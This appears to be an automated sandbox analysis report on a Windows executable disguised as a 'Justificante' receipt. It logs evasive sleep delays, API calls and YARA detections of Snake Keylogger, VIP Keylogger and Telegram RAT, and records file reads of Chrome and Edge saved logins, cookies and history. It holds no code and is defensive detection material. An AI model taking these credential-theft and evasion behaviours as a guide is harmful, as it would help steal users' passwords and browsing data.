Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 598703	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 598594	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 594236	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 593985	Jump to behavior

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Window / User API: threadDelayed 1659			Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Window / User API: threadDelayed 8150			Jump to behavior

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsd1568.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

API coverage: 2.6 %

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 3332	Thread sleep count: 1659 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 3332	Thread sleep count: 8150 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -599657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -599532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -599422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -599313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -599063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -598938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -598813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -598703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -598594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -598469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -598360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -598235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -598110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -597985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -597860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -597735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -597360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -597235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -596985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -596860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -596735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -596610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -596485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -596360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -596235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -596110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -595985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -595860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -595735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -595610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -595485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -595360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -595235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -594985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -594860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -594735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -594236s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -594110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe TID: 5024	Thread sleep time: -593985s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 0_2_0040646B FindFirstFileA,FindClose,	0_2_0040646B
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 0_2_004027A1 FindFirstFileA,	0_2_004027A1
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 0_2_004058BF GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_004058BF
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_0040646B FindFirstFileA,FindClose,	4_2_0040646B
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_004027A1 FindFirstFileA,	4_2_004027A1
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_004058BF GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	4_2_004058BF

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 598703	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 598594	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 594236	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 593985	Jump to behavior

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	File opened: C:\Users\user\AppData\Local\Microsoft	Jump to behavior

Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2932166073.00000000026D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2932166073.000000000272E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032F11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^qEmultipart/form-data; boundary=------------------------8dd4dbcb03dbc38<

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	API call chain: ExitProcess graph end node			graph_0-4034
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	API call chain: ExitProcess graph end node			graph_0-4200

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

Code function: 0_2_6FC41A98 GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_6FC41A98

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

Process created: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe "C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Queries volume information: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

Code function: 0_2_00403348 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403348

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.2954634470.0000000032D91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.2954634470.0000000032F11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Justificante67ab404ffe31b359e00a499e656454545.exe PID: 6392, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match

File source: 00000004.00000002.2954634470.0000000032F11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
